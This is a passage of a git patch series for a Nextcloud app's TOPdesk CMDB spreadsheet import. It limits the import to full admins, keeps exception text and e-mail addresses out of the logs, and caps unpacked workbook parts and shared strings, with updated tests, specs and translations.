] Test - - Status: the jest tests of `src/utils/cmdbImport.js` pass. The Playwright file has not been run against the current revision (it now also covers the typed municipality, cancel and the refusal of a user without the stackiq admin settings). + - Status: the jest tests of `src/utils/cmdbImport.js` pass. The Playwright file has not been run against the current revision (it now also covers the typed municipality, cancel and the refusal of a user who is not a Nextcloud admin). ### Task 10: Administrator documentation with screenshots - **spec_ref**: `SPEC#purpose` diff --git a/openspec/changes/cmdb-export-import/test-plan.md b/openspec/changes/cmdb-export-import/test-plan.md index b6d329840..0224bd1f0 100644 --- a/openspec/changes/cmdb-export-import/test-plan.md +++ b/openspec/changes/cmdb-export-import/test-plan.md @@ -39,7 +39,7 @@ Spec: `openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md` (ab - **test command**: PHPUnit `CmdbExportImportServiceTest` ### TC-5: Upload validation (type, size, columns, sheets, options) -- **spec_ref**: `spec.md#requirement-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-user-with-the-stackiq-admin-settings-req-cmdb-001`, `#requirement-columns-shall-be-resolved-by-header-name-and-a-missing-required-column-shall-stop-the-import-with-422-req-cmdb-003`, `#requirement-records-missing-from-a-newer-export-shall-be-left-untouched-req-cmdb-012` +- **spec_ref**: `spec.md#requirement-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-nextcloud-admin-req-cmdb-001`, `#requirement-columns-shall-be-resolved-by-header-name-and-a-missing-required-column-shall-stop-the-import-with-422-req-cmdb-003`, `#requirement-records-missing-from-a-newer-export-shall-be-left-untouched-req-cmdb-012` - **type**: api - **preconditions**: admin session - **steps**: post `applications.csv`; a text file named `.xlsx`; a 10 MB + 1 byte file; `topdesk-missing-appid.xlsx`; a workbook with only "Blad1"; the fixture with `missingRecords=remove`; the fixture without a municipality @@ -47,7 +47,7 @@ Spec: `openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md` (ab - **test command**: PHPUnit `CmdbImportControllerTest`, Newman (Postman collection), `/test-api`; the missing-column UI message also in Playwright ### TC-6: Authorisation and CSRF -- **spec_ref**: `spec.md#requirement-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-user-with-the-stackiq-admin-settings-req-cmdb-001`, `#requirement-a-running-import-shall-report-its-progress-and-shall-stop-when-cancelled-req-cmdb-013` +- **spec_ref**: `spec.md#requirement-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-nextcloud-admin-req-cmdb-001`, `#requirement-a-running-import-shall-report-its-progress-and-shall-stop-when-cancelled-req-cmdb-013` - **type**: security - **preconditions**: a non-admin user, also one in `software-catalog-admins` - **steps**: post the fixture and the cancel route as that user; post as admin without `requesttoken` diff --git a/openspec/specs/cmdb-export-import/spec.md b/openspec/specs/cmdb-export-import/spec.md index 8b23410fe..e6e427090 100644 --- a/openspec/specs/cmdb-export-import/spec.md +++ b/openspec/specs/cmdb-export-import/spec.md @@ -13,8 +13,7 @@ built_by: openspec/changes/cmdb-export-import ## Purpose -A Nextcloud admin, or a member of a group an admin delegated stackiq's admin -settings to, imports a TOPdesk CMDB export (xlsx) into stackiq for one +A Nextcloud admin imports a TOPdesk CMDB export (xlsx) into stackiq for one municipality. Every application row becomes, or updates, a `module` with its manufacturer `organization`, a `usage` that links it to the municipality, and `contactPerson` objects for its owners, all stored as OpenRegister objects @@ -32,8 +31,8 @@ umbrella requirement below anchors the capability until then. ### Requirement: Stackiq imports a TOPdesk CMDB export into OpenRegister objects (REQ-CMDB-000) -Stackiq MUST offer Nextcloud admins, and the groups delegated stackiq's admin -settings, one import path for a TOPdesk CMDB export +Stackiq MUST offer Nextcloud admins, and not the groups delegated stackiq's +admin settings, one import path for a TOPdesk CMDB export (xlsx) that writes only OpenRegister objects in the `stackiq` register (`module`, `organization`, `usage`, `contactPerson`), with no app-local table, and that matches rows on the TOPdesk APPID so that a repeated import diff --git a/src/utils/cmdbImport.js b/src/utils/cmdbImport.js index 8771bba63..626ed4fd0 100644 --- a/src/utils/cmdbImport.js +++ b/src/utils/cmdbImport.js @@ -105,7 +105,7 @@ export function makeCmdbOperationId() { * * @param {number} bytes The size * @return {string} The size with its unit - * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-user-with-the-stackiq-admin-settings-req-cmdb-001 + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-nextcloud-admin-req-cmdb-001 */ export function formatMegabytes(bytes) { const megabytes = Math.round((Number(bytes) / (1024 * 1024)) * 10) / 10 @@ -121,7 +121,7 @@ export function formatMegabytes(bytes) { * * @param {File|null} file The chosen file * @return {{error: string, details: object}|null} An error in the server's shape, or null when the file may be sent - * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-user-with-the-stackiq-admin-settings-req-cmdb-001 + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-nextcloud-admin-req-cmdb-001 */ export function checkFile(file) { if (!file) { @@ -171,7 +171,7 @@ export function buildImportForm({ * The URL of the import endpoint. * * @return {string} The URL - * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-user-with-the-stackiq-admin-settings-req-cmdb-001 + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-nextcloud-admin-req-cmdb-001 */ export function importUrl() { return generateUrl('/apps/stackiq/api/cmdb-import') @@ -226,7 +226,7 @@ const INTERRUPTED_STATUSES = new Set([0, 502, 503, 504]) * * @param {object} error The axios error * @return {{error: string, message: string, details: object, status: number, interrupted: boolean}} The error - * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-user-with-the-stackiq-admin-settings-req-cmdb-001 + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-nextcloud-admin-req-cmdb-001 */ export function normaliseError(error) { const status = error?.response?.status ?? 0 @@ -398,7 +398,7 @@ const KNOWN_ERRORS = new Set([ * * @param {string} code The error code * @return {boolean} True for a code with its own text - * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-user-with-the-stackiq-admin-settings-req-cmdb-001 + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-nextcloud-admin-req-cmdb-001 */ export function isKnownError(code) { return KNOWN_ERRORS.has(code) @@ -664,12 +664,9 @@ export function errorText(error) { return { title: t( 'stackiq', - "You may not use stackiq's admin settings, so you cannot import a CMDB export.", - ), - hint: t( - 'stackiq', - "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.", + 'Only Nextcloud administrators can import a CMDB export.', ), + hint: '', } case 'CSRF_FAILED': return { diff --git a/src/utils/cmdbImport.spec.js b/src/utils/cmdbImport.spec.js index 2b8597d77..dc45437da 100644 --- a/src/utils/cmdbImport.spec.js +++ b/src/utils/cmdbImport.spec.js @@ -364,7 +364,7 @@ describe('cancelFailureText', () => { it('names the reason for any other refusal', () => { expect(cancelFailureText(normaliseError(httpError(403, '')))).toBe( - "The import could not be cancelled: You may not use stackiq's admin settings, so you cannot import a CMDB export.", + 'The import could not be cancelled: Only Nextcloud administrators can import a CMDB export.', ) }) }) diff --git a/tests/Unit/Controller/CmdbImportControllerTest.php b/tests/Unit/Controller/CmdbImportControllerTest.php index 88fd2fa58..5a0a7320f 100644 --- a/tests/Unit/Controller/CmdbImportControllerTest.php +++ b/tests/Unit/Controller/CmdbImportControllerTest.php @@ -24,7 +24,6 @@ use OCA\Stackiq\Controller\CmdbImportController; use OCA\Stackiq\Exception\CmdbImportException; use OCA\Stackiq\Service\CmdbExportImportService; -use OCA\Stackiq\Settings\StackiqAdmin; use OCP\AppFramework\Http\Attribute\AuthorizedAdminSetting; use OCP\AppFramework\Http\Attribute\NoAdminRequired; use OCP\AppFramework\Http\Attribute\NoCSRFRequired; @@ -176,35 +175,40 @@ private function file(string $path, string $name = 'export.xlsx', int $size = 4) }//end file() /** - * Both methods declare AuthorizedAdminSetting for StackiqAdmin, as attribute and annotation. + * Both methods are for Nextcloud admins only, and declare that with a reason. + * + * Nextcloud's default (no auth attribute) is the admin gate, so the + * declaration is the `@auth admin-only ` tag: the import writes with + * RBAC and multitenancy off, across tenants. * * @return void */ - public function testBothRoutesRequireTheStackiqAdminSetting(): void { + public function testBothRoutesAreForNextcloudAdminsOnly(): void { foreach (['import', 'cancel'] as $method) { $reflection = new ReflectionMethod(CmdbImportController::class, $method); - $attributes = $reflection->getAttributes(AuthorizedAdminSetting::class); - $this->assertCount(1, $attributes, $method); - $this->assertSame(['settings' => StackiqAdmin::class], $attributes[0]->getArguments(), $method); - - preg_match_all(self::ANNOTATION, (string)$reflection->getDocComment(), $matches); - $byName = array_combine($matches['annotation'], array_map('trim', $matches['parameter'])); - $this->assertArrayHasKey('AuthorizedAdminSetting', $byName, $method); - $this->assertSame('(settings=' . StackiqAdmin::class . ')', $byName['AuthorizedAdminSetting'], $method); + $this->assertSame([], $reflection->getAttributes(), $method . ' carries no attribute'); + $this->assertMatchesRegularExpression( + '/^\h+\*\h+@auth admin-only \S.{19,}$/m', + (string)$reflection->getDocComment(), + $method . ' declares @auth admin-only with a reason' + ); } - }//end testBothRoutesRequireTheStackiqAdminSetting() + }//end testBothRoutesAreForNextcloudAdminsOnly() /** - * Neither method opens itself to every user, to anonymous users or to requests without CSRF. + * Neither method admits delegated admins, every user, anonymous users or requests without CSRF. * - * Checked as attribute and as the annotation Nextcloud's regex reads, so a - * comment line that starts with one of these tokens fails too. + * Checked on the class and both methods, as attribute and as the annotation + * Nextcloud's regex reads, so a comment line that starts with one of these + * tokens fails too. `AuthorizedAdminSetting` is in the list because it would + * admit the groups an admin delegated stackiq's settings to. * * @return void */ public function testNeitherRouteDeclaresAnExemption(): void { $exemptions = [ + 'AuthorizedAdminSetting' => AuthorizedAdminSetting::class, 'NoAdminRequired' => NoAdminRequired::class, 'NoCSRFRequired' => NoCSRFRequired::class, 'PublicPage' => PublicPage::class, diff --git a/tests/e2e/spec-coverage/cmdb-import.spec.ts b/tests/e2e/spec-coverage/cmdb-import.spec.ts index ca4f85f6a..6251f2d8d 100644 --- a/tests/e2e/spec-coverage/cmdb-import.spec.ts +++ b/tests/e2e/spec-coverage/cmdb-import.spec.ts @@ -737,8 +737,8 @@ test.describe.serial('CMDB import section', () => { await ctx.dispose() }) - // @e2e cmdb-export-import::a-user-without-the-stackiq-admin-settings-cannot-import - test('a signed-in user without the stackiq admin settings is refused', async () => { + // @e2e cmdb-export-import::a-user-who-is-not-a-nextcloud-admin-cannot-import + test('a signed-in user who is not a Nextcloud admin is refused', async () => { const ctx = await newApiContext() const userId = `cmdb-${RUN_ID}` const password = `Cmdb-${RUN_ID}-Pw!9` From f0581877db38df8aaf5a8b31b80b3e6e2a1ea9f9 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 16:01:00 +0200 Subject: [PATCH 158/176] =?UTF-8?q?fix(review):=20#1219=20a2=20=E2=80=94?= =?UTF-8?q?=20the=20controller=20logs=20the=20exception=20class,=20not=20i?= =?UTF-8?q?ts=20text?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The generic 500 path logged the exception object, so Nextcloud wrote its whole message, the previous exceptions and the trace with call arguments, which can quote cell values or an owner's e-mail address. The service had already logged a sanitised copy one line earlier. The controller now logs the class, the first line through the service's logSafeMessage() (made public for this) and the file and line, with a comment on why this departs from the usual exception context. cancel() had no catch at all, so a failing cache gave Nextcloud's bare 500; it now answers 500 IMPORT_FAILED in the contract envelope and logs the same way (contract.md and openapi.json list the new 500). The logging test throws a two-line message with e-mail addresses and a previous exception and asserts none of it is logged; a new test covers the failing cancel. Co-Authored-By: Claude Opus 5.5 --- lib/Controller/CmdbImportController.php | 40 +++++++++++++++-- lib/Service/CmdbExportImportService.php | 5 ++- openapi.json | 10 +++++ .../changes/cmdb-export-import/contract.md | 1 + .../Controller/CmdbImportControllerTest.php | 43 ++++++++++++++++++- 5 files changed, 91 insertions(+), 8 deletions(-) diff --git a/lib/Controller/CmdbImportController.php b/lib/Controller/CmdbImportController.php index 2a64a275f..066a9dd94 100644 --- a/lib/Controller/CmdbImportController.php +++ b/lib/Controller/CmdbImportController.php @@ -18,7 +18,8 @@ * The upload is checked before it is parsed, in the order of design D10: * present, size, xlsx, `missingRecords`, municipality. Every expected service * exception is translated here to the status contract.md gives it; anything - * else is 500 `IMPORT_FAILED` with a generic message and the detail in the log. + * else is 500 `IMPORT_FAILED` with a generic message, and the log gets the + * exception class and its sanitised first line, never the trace. * * @category Controller * @package OCA\Stackiq\Controller @@ -111,13 +112,37 @@ public function import(): JSONResponse { ); return $this->fromException(e: $e); } catch (\Throwable $e) { - $this->logger->error('CmdbImportController: import failed', ['exception' => $e]); + $this->logger->error('CmdbImportController: import failed', $this->failureContext(e: $e)); return $this->error(code: 'IMPORT_FAILED', status: Http::STATUS_INTERNAL_SERVER_ERROR); } return new JSONResponse(data: $report, statusCode: Http::STATUS_OK); }//end import() + /** + * The log context of an unexpected failure: the class, the sanitised first line and where it was thrown. + * + * Deliberately not the exception object itself under the `exception` key, + * as usual elsewhere: Nextcloud would then log the whole message, the previous exceptions and the stack trace with its + * call arguments, and those can quote cell values of the export or an + * owner's e-mail address (personal data). The service already logs the run's + * failure the same way. + * + * @param \Throwable $e The exception. + * + * @return array{exception: string, error: string, file: string, line: int} + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-8 + */ + private function failureContext(\Throwable $e): array { + return [ + 'exception' => get_class($e), + 'error' => CmdbExportImportService::logSafeMessage(step: 'request', e: $e, values: []), + 'file' => $e->getFile(), + 'line' => $e->getLine(), + ]; + }//end failureContext() + /** * Check the request in the order of design D10, before anything is parsed. * @@ -277,14 +302,21 @@ private function readOptions(string $path, string $fileName): array|JSONResponse * * @param string $operationId The operation id. * - * @return JSONResponse `{success, cancelRequested}`, or 404 OPERATION_NOT_FOUND. + * @return JSONResponse `{success, cancelRequested}`, 404 OPERATION_NOT_FOUND, or 500 IMPORT_FAILED. * * @auth admin-only cancelling is part of the import, which writes with RBAC and multitenancy off, so only a full Nextcloud admin may do it. * * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 */ public function cancel(string $operationId): JSONResponse { - if ($this->importService->requestCancel(operationId: $operationId) === false) { + try { + $requested = $this->importService->requestCancel(operationId: $operationId); + } catch (\Throwable $e) { + $this->logger->error('CmdbImportController: cancel failed', $this->failureContext(e: $e)); + return $this->error(code: 'IMPORT_FAILED', status: Http::STATUS_INTERNAL_SERVER_ERROR); + } + + if ($requested === false) { return $this->error(code: 'OPERATION_NOT_FOUND', status: Http::STATUS_NOT_FOUND); } diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index 0db124293..cc5c426d0 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -1844,7 +1844,8 @@ private function ownerColumn(string $target): string { * Only the first line is kept, at most 300 characters. Every value of the * row of three characters or more is replaced by "…", longest first, and * every e-mail address by "". The owner step logs no message at - * all, so no contact data can reach the log. + * all, so no contact data can reach the log. Public so the controller logs + * an unexpected failure the same way. * * @param string $step The step that failed. * @param Throwable $e The exception. @@ -1852,7 +1853,7 @@ private function ownerColumn(string $target): string { * * @return string */ - private static function logSafeMessage(string $step, Throwable $e, array $values): string { + public static function logSafeMessage(string $step, Throwable $e, array $values): string { if ($step === 'owners') { return ''; } diff --git a/openapi.json b/openapi.json index 16448e884..8d830454d 100644 --- a/openapi.json +++ b/openapi.json @@ -221,6 +221,16 @@ }, "412": { "description": "Missing or invalid CSRF token" + }, + "500": { + "description": "IMPORT_FAILED (unexpected; the exception class and its sanitised first line are in the log)", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/CmdbImportError" + } + } + } } } } diff --git a/openspec/changes/cmdb-export-import/contract.md b/openspec/changes/cmdb-export-import/contract.md index b41957760..267c7a8fb 100644 --- a/openspec/changes/cmdb-export-import/contract.md +++ b/openspec/changes/cmdb-export-import/contract.md @@ -83,6 +83,7 @@ Error body: `{"success": false, "error": "", "message": " | 403 | not a Nextcloud admin | | 404 | `OPERATION_NOT_FOUND`: no running `cmdb_import` operation with this id | | 412 | missing or invalid CSRF token | +| 500 | `IMPORT_FAILED`: unexpected, for example the cache that holds the cancel request failed; generic message, the exception class and its sanitised first line only in the log | ### `GET /api/progress/{operationId}` (existing, unchanged) Returns the `ProgressTracker` snapshot for the `cmdb_import` operation: `progress.total_items` is the number of non-empty rows read and `progress.processed_items` the rows done so far, updated after every row. `progress.status` is `running`, `completed`, `cancelled` or `failed`. A run that fails outside a row is `failed`, and its `progress.errors[0].message` is the fixed text `IMPORT_FAILED: The import stopped unexpectedly. The details are in the Nextcloud log.`: never the exception's message, which can quote cell values. The exception's class and its first line, with e-mail addresses taken out, are logged. After completion, `progress.statistics.report` holds the report from the 200 response above, for as long as the tracker keeps the entry (one hour). diff --git a/tests/Unit/Controller/CmdbImportControllerTest.php b/tests/Unit/Controller/CmdbImportControllerTest.php index 5a0a7320f..a27b7cfbf 100644 --- a/tests/Unit/Controller/CmdbImportControllerTest.php +++ b/tests/Unit/Controller/CmdbImportControllerTest.php @@ -599,15 +599,54 @@ public function testRefusalsAndFailuresAreLogged(): void { $this->controller(file: $this->file(path: $this->upload()), params: ['municipalityName' => 'X'], service: $service, logger: $logger)->import(); - $failure = new \TypeError('internal detail'); + $failure = new RuntimeException("first owner@example.nl\nsecond", 0, new RuntimeException('previous jan@example.nl')); $service = $this->service(); $service->method('import')->willThrowException($failure); + $logged = []; $logger = $this->createMock(LoggerInterface::class); - $logger->expects($this->once())->method('error')->with($this->anything(), ['exception' => $failure]); + $logger->expects($this->once())->method('error')->willReturnCallback( + function (string $message, array $context) use (&$logged): void { + $logged = $context; + } + ); $this->controller(file: $this->file(path: $this->upload()), params: ['municipalityName' => 'X'], service: $service, logger: $logger)->import(); + + $this->assertSame(RuntimeException::class, $logged['exception'], 'the class is logged, not the exception object'); + $this->assertSame('first ', $logged['error'], 'only the first line, without the e-mail address'); + $flat = json_encode($logged); + $this->assertStringNotContainsString('example.nl', $flat); + $this->assertStringNotContainsString('second', $flat); + $this->assertStringNotContainsString('previous', $flat); }//end testRefusalsAndFailuresAreLogged() + /** + * A failing cancel request answers with the contract envelope and logs no exception text. + * + * @return void + */ + public function testACancelThatFailsAnswersImportFailed(): void { + $service = $this->service(); + $service->method('requestCancel')->willThrowException(new RuntimeException("cache down for owner@example.nl\nsecond")); + $logged = []; + $logger = $this->createMock(LoggerInterface::class); + $logger->expects($this->once())->method('error')->willReturnCallback( + function (string $message, array $context) use (&$logged): void { + $logged = $context; + } + ); + + $response = $this->controller(file: null, params: [], service: $service, logger: $logger)->cancel(operationId: 'cmdb-running-1'); + + $this->assertSame(500, $response->getStatus()); + $this->assertFalse($response->getData()['success']); + $this->assertSame('IMPORT_FAILED', $response->getData()['error']); + $this->assertStringNotContainsString('cache down', $response->getData()['message']); + $this->assertSame(RuntimeException::class, $logged['exception']); + $this->assertStringNotContainsString('example.nl', json_encode($logged)); + $this->assertStringNotContainsString('second', json_encode($logged)); + }//end testACancelThatFailsAnswersImportFailed() + /** * The upload's base name reaches the service as fileName, without any directory part the client sent. * From 2c6eadef52982d8dcbfbbdfcbc99a231d5186f83 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 16:10:44 +0200 Subject: [PATCH 159/176] =?UTF-8?q?fix(review):=20#1219=20b1=20=E2=80=94?= =?UTF-8?q?=20the=20reader=20caps=20each=20part=20and=20the=20shared=20str?= =?UTF-8?q?ings=20before=20PhpSpreadsheet=20parses?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The 50 MB cap on the unpacked package did not bound what PhpSpreadsheet holds: it builds the whole shared-strings table, and the whole XML tree of every sheet it loads, before the read filter runs, so a package well under the cap could exhaust memory. Before anything is parsed, the reader now also refuses with WORKBOOK_TOO_LARGE a part that unpacks to more than the new profile setting maxPartBytes (default 10 MB, details maxPartBytes and part) and a shared-strings table with more entries than maxSharedStrings (default 200,000), counted with a streaming XMLReader whatever the table's count attributes claim. Two reader tests build packages at run time and assert the refusal with no PhpSpreadsheet load. The read filter and reader docblocks, design.md (D3, resource bounds), REQ-CMDB-002 and a new scenario, contract.md, openapi.json, the docs (error table, limits) and the page's WORKBOOK_TOO_LARGE title (en/nl) state the bounds that hold. Co-Authored-By: Claude Opus 5.5 --- docs/features/cmdb-import.md | 6 +- l10n/en.js | 4 +- l10n/en.json | 4 +- l10n/nl.js | 4 +- l10n/nl.json | 4 +- lib/Service/Cmdb/CmdbImportProfile.php | 49 +++++++ lib/Service/Cmdb/CmdbReadFilter.php | 12 +- lib/Service/Cmdb/CmdbWorkbookReader.php | 120 ++++++++++++++++-- lib/Settings/cmdb-import/topdesk-profile.json | 2 + openapi.json | 2 +- .../changes/cmdb-export-import/contract.md | 4 +- openspec/changes/cmdb-export-import/design.md | 4 +- .../specs/cmdb-export-import/spec.md | 10 +- src/utils/cmdbImport.js | 48 +++++-- src/utils/cmdbImport.spec.js | 19 +++ .../Service/Cmdb/CmdbImportProfileTest.php | 2 + .../Service/Cmdb/CmdbWorkbookReaderTest.php | 96 ++++++++++++++ 17 files changed, 348 insertions(+), 42 deletions(-) diff --git a/docs/features/cmdb-import.md b/docs/features/cmdb-import.md index d89001217..73bd0fd1e 100644 --- a/docs/features/cmdb-import.md +++ b/docs/features/cmdb-import.md @@ -277,7 +277,7 @@ and the section shows the reason and the error code. | `NO_SOURCE_SHEET` | Neither `Onbeh Applicaties CMDB` nor `Beheerde Applicaties CMDB` is in the workbook. | Check the sheet names; they must match exactly. | | `MISSING_COLUMN` | A present CMDB sheet has no `APPID` or `Applicatie Naam` column. The message names the sheet and the column. | Add the column to that sheet. | | `TOO_MANY_ROWS` | A CMDB sheet has more rows with data than the row limit (10,000 by default). The message names the sheet and the limit. | Split the export and import the parts one after the other. | -| `WORKBOOK_TOO_LARGE` | Unpacked, the workbook is larger than the import reads (50 MB by default). An `.xlsx` is a compressed package, so a small file can unpack to far more. The message names the limit. | Remove sheets the import does not read, such as the archive sheet, or split the export. | +| `WORKBOOK_TOO_LARGE` | Unpacked, the workbook is larger than the import reads: 50 MB in all, 10 MB for any one part (such as a sheet or the table of texts the sheets share), or more than 200,000 different texts, by default. An `.xlsx` is a compressed package, so a small file can unpack to far more. The message names the limit, and for a part also the part. | Remove sheets the import does not read, such as the archive sheet, or split the export. | | `MUNICIPALITY_AMBIGUOUS` | More than one municipality has the typed name. The import does not guess which one. | Pick the municipality from the list instead of typing its name. | | `IMPORT_IN_PROGRESS` | Another CMDB import is running. Only one import runs at a time. | Wait until it has finished and try again. | | `FIELD_INVALID` | A form field of the request has a value the import does not accept, for example an `updateExisting` or `publish` that is neither `true` nor `false`. The message names the field. | Not reachable from the section; reported for API callers. | @@ -305,7 +305,7 @@ page. ## Limits -Three limits are read from `lib/Settings/cmdb-import/topdesk-profile.json` on +Five limits are read from `lib/Settings/cmdb-import/topdesk-profile.json` on every import: | Setting | Default | What it limits | @@ -313,6 +313,8 @@ every import: | `maxFileBytes` | `10485760` (10 MB) | the size of the uploaded file | | `maxRowsPerSheet` | `10000` | the rows with data on one CMDB sheet | | `maxUncompressedBytes` | `52428800` (50 MB) | the size of the workbook once unpacked, checked before a sheet is parsed | +| `maxPartBytes` | `10485760` (10 MB) | the size of any one part of the workbook once unpacked, such as a sheet or the shared-strings table, checked before a sheet is parsed | +| `maxSharedStrings` | `200000` | the number of different texts in the workbook's shared-strings table, counted before a sheet is parsed | The section's help text shows the defaults; when the server refuses a file, the message shows the limit the server applied. A larger file also has to diff --git a/l10n/en.js b/l10n/en.js index 8b3491468..36ae61896 100644 --- a/l10n/en.js +++ b/l10n/en.js @@ -1124,7 +1124,9 @@ OC.L10N.register( "Created unpublished": "Created unpublished", "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.": "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.", "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: the application with this import key is used by another organisation, so it is not changed", - "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay." + "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.", + "Unpacked, the part {part} of the workbook is larger than {size}, the most the import reads of one part.": "Unpacked, the part {part} of the workbook is larger than {size}, the most the import reads of one part.", + "The workbook holds more than {count} different texts, the most the import reads.": "The workbook holds more than {count} different texts, the most the import reads." }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/en.json b/l10n/en.json index 475bf75dc..fd68e5d64 100644 --- a/l10n/en.json +++ b/l10n/en.json @@ -1123,6 +1123,8 @@ "Created unpublished": "Created unpublished", "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.": "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.", "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: the application with this import key is used by another organisation, so it is not changed", - "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay." + "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.", + "Unpacked, the part {part} of the workbook is larger than {size}, the most the import reads of one part.": "Unpacked, the part {part} of the workbook is larger than {size}, the most the import reads of one part.", + "The workbook holds more than {count} different texts, the most the import reads.": "The workbook holds more than {count} different texts, the most the import reads." } } diff --git a/l10n/nl.js b/l10n/nl.js index c9bd0f954..8b501eef3 100644 --- a/l10n/nl.js +++ b/l10n/nl.js @@ -1194,7 +1194,9 @@ OC.L10N.register( "Created unpublished": "Ongepubliceerd aangemaakt", "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.": "De sleutel waarop een herhaalde import deze applicatie koppelt: topdesk::. Gezet door de CMDB-import; alleen een Nextcloud-beheerder kan deze wijzigen.", "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: de applicatie met deze importsleutel wordt door een andere organisatie gebruikt en wordt daarom niet gewijzigd", - "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "Staat dit aan, dan overschrijft een herhaalde import de naam, de omschrijvingen, het applicatietype, het hostingmodel, het BBN-niveau, de bronvelden en de leverancier van de applicatie, en de status, de uitfaseerdatum en de functioneel eigenaar van het gebruik, met de waarden uit de export. De TIME-classificatie en de interne notitie van het gebruik worden alleen gezet wanneer het gebruik wordt aangemaakt of het veld leeg is, zodat wijzigingen in stackiq blijven staan." + "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "Staat dit aan, dan overschrijft een herhaalde import de naam, de omschrijvingen, het applicatietype, het hostingmodel, het BBN-niveau, de bronvelden en de leverancier van de applicatie, en de status, de uitfaseerdatum en de functioneel eigenaar van het gebruik, met de waarden uit de export. De TIME-classificatie en de interne notitie van het gebruik worden alleen gezet wanneer het gebruik wordt aangemaakt of het veld leeg is, zodat wijzigingen in stackiq blijven staan.", + "Unpacked, the part {part} of the workbook is larger than {size}, the most the import reads of one part.": "Uitgepakt is het onderdeel {part} van de werkmap groter dan {size}, het maximum dat de import van één onderdeel leest.", + "The workbook holds more than {count} different texts, the most the import 